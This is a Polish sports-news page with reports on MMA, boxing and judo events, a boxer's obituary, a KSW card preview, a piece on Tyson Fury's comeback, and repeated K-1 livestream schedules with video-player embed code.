Najpoważniejszymi konkurentami main eventu gali FEN 16 były znakomite pojedynki Artura Bizewskiego z Arkadiuszem Wrzoskiem i Radosława Paczuskiego z Georgem Daviesem, ale to jednak starcie „Bomby” z „Gabito” rozpaliło do białości publiczność na Torwarze. Toczony w kapitalnym tempie pojedynek obfitował w liczne zwroty akcji, a obaj zawodnicy z ogromną determinacją dążyli do odniesienia zwycięstwa, szukając swojej szansy na skończenie rywala przed czasem. Ostatecznie siódmą wygraną z rzędu zapisał na swoim koncie Brazylijczyk, ale za stworzenie razem z nim wspaniałego spektaklu zasłużony bonus otrzymuje także Polak.
FEN
W wieku 64 lat odszedł znakomity bokser Andrzej Biegalski. Na swoim koncie zapisał tytuł mistrza Europy w wadze ciężkiej, który wywalczył w 1975 roku w Katowicach.
Zawsze zadajemy sobie to samo pytanie: dlaczego i czy nie za wcześnie? Trudno na nie odpowiedzieć, jednak trzeba się pogodzić z odejściem bliskiego człowieka, idola, autorytetu i pamiętać o tym, czego nas uczył i co po sobie pozostawił.
Wielki bokser
Andrzej Bieglaski odszedł w wieku 64 lat. Jego największym osiągnięciem było złoto mistrzostw Europy, które zdobył w 1975 roku. Ogromnych emocji dostarczyło półfinałowe starcie Polaka z reprezentantem Republiki Federalnej Niemiec Peterem Hussingiem. Rywal Biegalskiego miał na swoim koncie brąz igrzysk w Monachium i trzy medale mistrzostw Europy. Uchodził za faworyta, jednak ambitny Polak w pierwszej rundzie zaserwował Niemcowi prawy sierp i posłał go na deski. W finale wygrał na punkty z Wiktorem Uljaniczem, który bronił tytułu. Biegalski zdobył złoto i pozostaje jedynym polskim mistrzem Europy w wadze ciężkiej.
Wydawało się, że wywalczenie tytułu będzie wstępem do wielkiej kariery, jednak losy boksera układały się różnie. W 1976 roku zaprezentował się w Montrealu, jednak start w igrzyskach olimpijskich zakończył na etapie eliminacji. Bez powodzenia startował również w mistrzostwach Europy w Kolonii. Jednak zapisał się na trwałe w historii polskiego boksu. Warto wspomnieć, że Biegalski był również trzykrotnie mistrzem Polski (dwa razy w ciężkiej i raz w superciężkiej).
Karierę zakończył w wieku zaledwie 30 lat. Na amatorskich ringach wystąpił ponad 230 razy, wygrał 201 walk.
Sportowa droga
Sport był obecny w życiu Biegalskiego. Podczas nauki w Zasadniczej Szkole Górniczej Kopalni Marcel rozpoczął treningi judo. Wywalczył nawet mistrzostwo Śląska juniorów. Z racji warunków fizycznych trenerzy widzieli w nim potencjał na kulomiota. Biegalski trenował pchnięcie kulą, a także rzut dyskiem.
Talent bokserski odkrył w nim Marian Mrula z Górnika Radlin. Biegalski łączył treningi pięściarskie oraz judo. W końcu wybrał boks i okazał się to strzał w dziesiątkę. Pierwszy znaczący sukces odniósł w 1974 roku, kiedy to sięgnął po tytuł mistrza Polski.
Na zawsze pozostanie w naszej pamięci jako wielki mistrz Europy. Nadal jedyny w wadze ciężkiej.
KM
Szybko, łatwo i przyjemnie – tak można określić drogę Katarzyny Kłys (70kg) do zwycięstwa w Pucharze Europy w judo, który odbył się w Zurychu. Mistrzyni Europy w drużynie do stanięcia na najwyższym stopniu podium wystarczyły dwie walki. Z kolei w Zagrzebiu nasze kadetki zdobyły dwa medale.
Warto nadmienić, że to ostatnie starty Katarzyny Kłys na międzynarodowym poziomie. Po mistrzostwach Europy, które odbędą się w Warszawie 30-letnia judoczka zapowiedziała zakończenie kariery.
Udany początek
Brązowa medalistka mistrzostw Europy 2014 roku z Czelabińska udanie rozpoczęła tegoroczne zmagania. Kłys pojechała do Zurychu, gdzie zjawiło się 226 zawodników, ale tylko 60 kobiet. W kategorii Polki rywalizowało zaledwie sześć judoczek.
Pierwszą rywalką 25. zawodniczki światowego rankingu była Holenderka Yvonne Odnik. Agresywny i wyrównany pojedynek zakończył się po myśli Polki, która zapisała na swoim koncie waza-ari. W finale Kłys zdominowała Alinę Lengweiler. Uczestniczka igrzysk olimpijskich w Rio de Janeiro dwa razy wywalczyła waza-ari.
W ubiegłym roku Kłys czterokrotnie stawała na podium międzynarodowych imprez. Wygrała zawody w Warszawie i Sarajewie, w Grand Prix Zagrzebia była druga, a na najniższym stopniu podium stanęła w Ałmatach. Tegoroczne starty rozpoczęła mocnym akcentem, choć nie miała de facto z kim przegrać. Głównym celem dla naszej zawodniczki pozostają mistrzostwa Europy, które w dniach 20-23 kwietnia odbędą się w Warszawie.
Brąz Kowalczyk
Jak informowaliśmy w piątek (10 marca), trzy nasze zawodniczki wzięły udział w turnieju Grand Slam w Baku. Najlepiej zaprezentowała się Julia Kowalczyk (57kg), która była trzecia. 19-letnia judoczka Polonii Rybnik wygrała trzy walki. Z kolei Karolina Pieńkowska (52kg) wywalczyła siódmą lokatę. Agata Perenc (52kg) odpadła w eliminacjach.
Dwa medale w Zagrzebiu
W Zagrzebiu rywalizowali kadeci. Na tatami zaprezentowało się blisko 800 judoków, w tym 35 reprezentantów Polski. Biało-czerwoni zdobyli dwa medale.
Na najwyższy poziom wspięła się Marta Kuras. 17-latka z każdą walką wyglądała coraz pewniej. Na początek stoczyła wyrównany bój z Cecilią Pedullą, ale wygrała jednym waza-ari. Gorąco było w drugiej walce. Andrea Stojadinov miała już dwa waza-ari, ale ippon Kuras załatwił sprawę. Dwie kolejne walki Polka wygrała przed czasem. W półfinale wyeliminowała Lunę Gretę Ancorę, a w decydującym starciu szybko uporała się z Naomi van Krevel.
Kolejny dobry występ w tym roku zanotowała Nikola Szlachta. W lutym wygrała zawody we Włoszech, a w Chorwacji uplasowała się na trzecim miejscu. 15-latka zaczęła od porażki, a następnie wygrała cztery walki.
KM
Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Polski K-1, które odbywają się 11-12 marca 2017 r. w Legnicy.
11 marca 2017r. (sobota)
godz. 8.30 – 9.00 – uroczyste otwarcie
godz.9.00 – 14.00 – walki eliminacyjne
godz. 14.00 – 15.00 – przerwa
od 15.00 – ciąg dalszy walk eliminacyjnych oraz walki półfinałowe
12 marca 2017r. (niedziela)
godz. 07 00 – 8 00 waga zawodników
godz. 09.00 -17.00 walki półfinałowe oraz walki finałowe
godz. 17.00 – 18.00 przerwa
godz. 18.00 – 19.30 walki finałowe w formie Gali
godz. 19.30 walka wieczoru zawodowy tytuł mistrza Polski na Low Kick
[kod]
RING 2
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MPK1Legnica20172.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MPK1Legnica20172.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MPK1Legnica20172.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MPK1Legnica20172.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Zapraszamy na transmisję teewizyjną na żywo z Judo Grand Slam, które odbywa sie w dniach 10-12 marca 2017 r. w Baku.
[kod]
Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Polski K-1, które odbywają się 11-12 marca 2017 r. w Legnicy.
11 marca 2017r. (sobota)
godz. 8.30 – 9.00 – uroczyste otwarcie
godz.9.00 – 14.00 – walki eliminacyjne
godz. 14.00 – 15.00 – przerwa
od 15.00 – ciąg dalszy walk eliminacyjnych oraz walki półfinałowe
12 marca 2017r. (niedziela)
godz. 07 00 – 8 00 waga zawodników
godz. 09.00 -17.00 walki półfinałowe oraz walki finałowe
godz. 17.00 – 18.00 przerwa
godz. 18.00 – 19.30 walki finałowe w formie Gali
godz. 19.30 walka wieczoru zawodowy tytuł mistrza Polski na Low Kick
[kod]
RING 1
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MPK1Legnica20171.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MPK1Legnica20171.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MPK1Legnica20171.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MPK1Legnica20171.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Polski K-1, które odbywają się 11-12 marca 2017 r. w Legnicy.
11 marca 2017r. (sobota)
godz. 8.30 – 9.00 – uroczyste otwarcie
godz.9.00 – 14.00 – walki eliminacyjne
godz. 14.00 – 15.00 – przerwa
od 15.00 – ciąg dalszy walk eliminacyjnych oraz walki półfinałowe
12 marca 2017r. (niedziela)
godz. 07 00 – 8 00 waga zawodników
godz. 09.00 -17.00 walki półfinałowe oraz walki finałowe
godz. 17.00 – 18.00 przerwa
godz. 18.00 – 19.30 walki finałowe w formie Gali
godz. 19.30 walka wieczoru zawodowy tytuł mistrza Polski na Low Kick
[kod]
RING 2
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MPK1Legnica20172.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MPK1Legnica20172.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MPK1Legnica20172.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MPK1Legnica20172.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Zapraszamy na transmisję teewizyjną na żywo z Judo Grand Slam, które odbywa sie w dniach 10-12 marca 2017 r. w Baku.
[kod]
Zapraszamy na transmisję teewizyjną na żywo z Judo Grand Slam, które odbywa sie w dniach 10-12 marca 2017 r. w Baku.
[kod]
Dużo uwagi poświęca się majowej gali KSW 39 Colosseum, która odbędzie się na stadionie PGE Narodowy. Jednak warto pamiętać, że poprzedzi ją inne wydarzenie. 7 kwietnia w warszawskim studiu telewizyjnym odbędzie się gala KSW 38: Live in Studio.
Polska organizacja wprowadza kolejną innowację. Jedna z gal KSW odbyła się w Londynie, kolejna została zaplanowana na ogromnym stadionie PGE Narodowym, a ta najbliższa, która odbędzie się 7 kwietnia będzie nastawiona na widzów przed telewizorami. Z bliska walki obserwować będzie niewielka liczba kibiców.
„Kornik” w walce wieczoru
W Warszawie zaprezentuje się Artur Sowiński, który na poprzedniej gali KSW w Krakowie stracił pas mistrzowski w wadze piórkowej na rzecz Marcina Wrzoska. Między zawodnikami od dawna wrzało. W końcu spotkali się i stworzyli wyjątkowy spektakl. Decyzją lekarza walkę przerwano w drugiej rundzie ze względu na opuchliznę na oku „Kornika”, choć ten twierdził, że jest w stanie dalej rywalizować. W Warszawie 30-letni fighter spotka się z Łukaszem Chlewickim. Popularny „Sasza” również nie najlepiej wspomina występ w Krakowie. W pierwszej rundzie przegrał z Mansourem Barnaouim. Niemalże perfekcyjny cios łokciem w wykonaniu Francuza rozciął łuk brwiowy Chlewickiego, pojedynek przerwano. „Kornik” i „Sasza” mają coś do udowodnienia. Ich bogate doświadczenie może przełożyć się na niezwykle widowiskową walkę.
W Warszawie odbędzie się również pierwsza walka w wadze koguciej. Zmierzą się w niej Anzor Azhiev i Kamil Selwa. 26-latek reprezentujący WCA Fight Team wraca po półtorarocznej przerwie. Azhiev musiał poświęcić czas na leczenie urazów. W ostatnim występie (KSW 33) pokonał przez poddanie w trzeciej rundzie Vaso Bakocevicia. Jego rywalem podczas warszawskiej gali będzie obiecujący Kamil Selwa. 22-latek stoczył 15 walk, z których 10 wygrał. Może się pochwalić passą czterech zwycięstw z rzędu.
Drugą walkę w KSW stoczy 23-letni Roman Szymański. W debiucie fighter z Poznania przed czasem uporał się z Sebastianem Romanowskim. Rywalem Szymańskiego będzie Denilson Neves de Oliveira. Dla Brazylijczyka będzie to druga szansa od włodarzy KSW, w debiucie przegrał z Filipem Wolańskim. Wcześniej wygrał z Marianem Ziółkowskim na PLMMA 70.
Niepokonani
Podczas KSW 38 w wadze lekkiej zadebiutuje Kamil Szymuszowski. 27-latek dotychczas występował w kategorii półśredniej. Dotychczas stoczył trzy pojedynki dla KSW i wszystkie wygrał. Warto podkreślić, że „Szymek” ma znakomitą passę – triumfował w ośmiu kolejnych starciach. W Warszawie zmierzy się z Marifem Piraevem, który w Londynie przegrał z Matuszem Gamrotem. Dla Rosjanina była to pierwsza porażka, wygrał 13 walk.
30-letni Grzegorz Szulakowski wygrał dwie walki w KSW. Teraz przyjdzie mu się zmierzyć z Renato Gomesem Gabrielem, który debiutował pojedynkiem z Mateuszem Gamrotem i przegrał przed czasem.
W pozostałych pojedynkach zmierzą się: Łukasz Rajewski i Sebastian Romanowski oraz Maciej Kazieczko i Tomasz Matusewicz. Na nazwisko rywala czeka Łukasz Bieńkowski.
Fot. konfrontacja.com
KM
Julia Kowalczyk (57kg) stanęła na trzecim stopniu podium w zawodach Grand Slam w judo, które odbywają się w Baku. To pierwszy występ Polki na tym poziomie. Siódma była Karolina Pieńkowska (52kg).
Do Baku zjechało blisko 200 zawodników. Rywalizacja potrwa do niedzieli, jednak możemy już dokonać podsumowania występu Polek. Wszystkie trzy zaprezentowały się pierwszego dnia imprezy.
Pierwsze podium
Radość, radość i jeszcze raz radość – Julia Kowalczyk może być zadowolona ze swojego startu w Baku. W ubiegłym roku występowała w rywalizacji juniorskiej i kilka razy zaprezentowała się na poziomie seniorskim, jednak bez efektu. Ale zebrane doświadczenia okazały się cenną nauką dla 19-letniej judoczki Polonii Rybnik. W tym roku Kowalczyk wystartowała w zmaganiach w Sofii i Dusseldorfie. Zaczynała od zwycięstwa, ale w drugich rundach trafiała na mocniejsze rywalki odpowiednio Francuzkę Sarah Harachi i Japonkę Nae Udakę.
W przypadku Kowalczyk znalazło zastosowanie powiedzenie „do trzech razy sztuka”. Młoda Polka rywalizację w Baku zaczęła od mocnego akcentu. Całkowicie zdominowała zawodniczkę gospodarzy Shahanę Almamadovą i zakończyła rywalizację przed czasem. Trudne warunki Kowalczyk postawiła Timna Nelson Levy, ale judoczka Polonii Rybnik triumfowała przez waza-ari. W półfinale Polkę zatrzymała Jovana Rogić. Kowalczyk pozostała walka o trzecie miejsce, w której pokonała przez ippon Brazylijkę Gilmarę Prudencio.
W Baku zaprezentowały się również Karolina Pieńkowska i Agata Perenc (obie 52kg). Młodzieżowej mistrzyni Europy z 2015 roku dopisało szczęście. Pieńkowska dostała wolny los i rywalizację rozpoczęła od drugiej rundy. Polka stanęła przed trudnym zadaniem, bo przyszło jej rywalizować z siódmą judoczką igrzysk w Rio de Janeiro. Pieńkowska przegrała przez ippon i trafiła do repasaży. Po raz kolejny stanęła naprzeciw mocnej rywalki. Tym razem była to mistrzyni Europy Charline van Snick, która szybko wygrała przez ippon. Mimo dwóch porażek, Pieńkowską sklasyfikowano na siódmej pozycji. Z kolei Agata Perenc odpadła w eliminacjach. Jej pogromczynią była Gultaj Mammadaliyeva.
Kolejny triumf
Początek roku jest niezwykle udany dla 24-letniego Tala Flickera (66kg). Reprezentant Izraela wygrał zmagania w Odivelas, następnie był siódmy w Paryżu, a w Dusseldorfie stanął na trzecim stopniu podium. W Baku pokonał czterech rywali i sięgnął po złoto.
Piąta zawodniczka igrzysk olimpijskich w Londynie Chen-ling Lien (57kg), która w Brazylii pokonała Arletę Podolak, triumfowała w Baku. Z kolei utalentowana Alexandra-Larisa Florian wygrała zmagania w kategorii 52kg. To kolejny tegoroczny sukces Rumunki. Dwa tygodnie temu 21-latka była trzecia w Dusseldorfie.
KM
Kariera Tysona Fury'ego znalazła się na zakręcie. 28-latek popadł w uzależnienie od narkotyków i zmagał się z depresją. Twierdzi, że wychodzi na prostą i zamierza wrócić na ring.
Tyson Fury to bokser niemalże kompletny, który za cel postawił sobie zdominowanie wagi ciężkiej. Wszedł na szczyt, ale nie wytrzymał presji i nie uniósł ciężaru sukcesu. To niezwykle pouczająca historia. Czy Fury wróci na ring i ustabilizuje formę?
Zdobył pasy, ale ich nie bronił
Bokser urodzony w Manchesterze pokonywał kolejnych rywali i nie ukrywał swoich ambicji. Od zawsze potrafił zwrócić na siebie uwagę poprzez kontrowersyjne i często butne wypowiedzi. Na rozkładzie zapisał m.in. Vinny'ego Maddalaone, Kevina Johnsona, Steve'a Cunninghana czy Derecka Chisorę. Zdobył międzynarodowy pas WBO, ale mierzył zdecydowanie wyżej. W końcu nadszedł ten wyjątkowy dzień. 25 listopada 2015 roku wszedł do ringu z dominującym przez lata w wadze ciężkiej Władimirem Kliczko.
Brytyjczyk wykorzystał przewagę warunków fizycznych, nie przestraszył się rywala. Może i pojedynek nie był rewelacyjny, ale dwie ostatnie rundy to prawdziwa wojna. Kliczko kończył walkę rozbity i przygnębiony, bo Fury wygrał jednogłośnie na punkty. Stał się posiadaczem czterech pasów, ale Ukrainiec żądał rewanżu. Od tego momentu zaczęły się dziać dziwne rzeczy. Wyznaczono termin na 9 lipca, ale z powodu problemów zdrowotnych Fury'ego walkę przełożono. W międzyczasie mistrz stracił pas IBF, bo nie chciał stanąć do obowiązkowej obrony tytułu. Wokół rewanżu z Kliczko pojawiały się kolejne wątpliwości. W końcu na światło dzienne wyszły problemy Fury'ego. W jego organizmie wykryto kokainę, a sam bokser przyznał się do uzależnienia i depresji. Mówił, że chce zakończyć karierę, w tle pojawił się również problem alkoholowy. Fury oddał pasy WBA i WBO, ale od tego czasu minęło już blisko pół roku.
Czas leczy rany. Nie inaczej jest w przypadku Fury'ego, który rozważa powrót na ring. Czy to możliwe?
Zbędne kilogramy
Po wszystkich zawirowaniach boksera czeka dużo pracy. Przede wszystkim musi zbić wagę, bo ta wskazuje aż 158 kilogramów. – To nie problem. Zaczynam od początku, zapominam o tym, co było i myślę o tym, co będzie – powiedział Tyson Fury.
Za nim ciężkie chwile. Z pewnością sport to dobra droga, aby wrócić na prostą. – Jeśli pokonałem depresję, to dam radę. Za mną najtrudniejsza walka – przyznaje Fury.
KM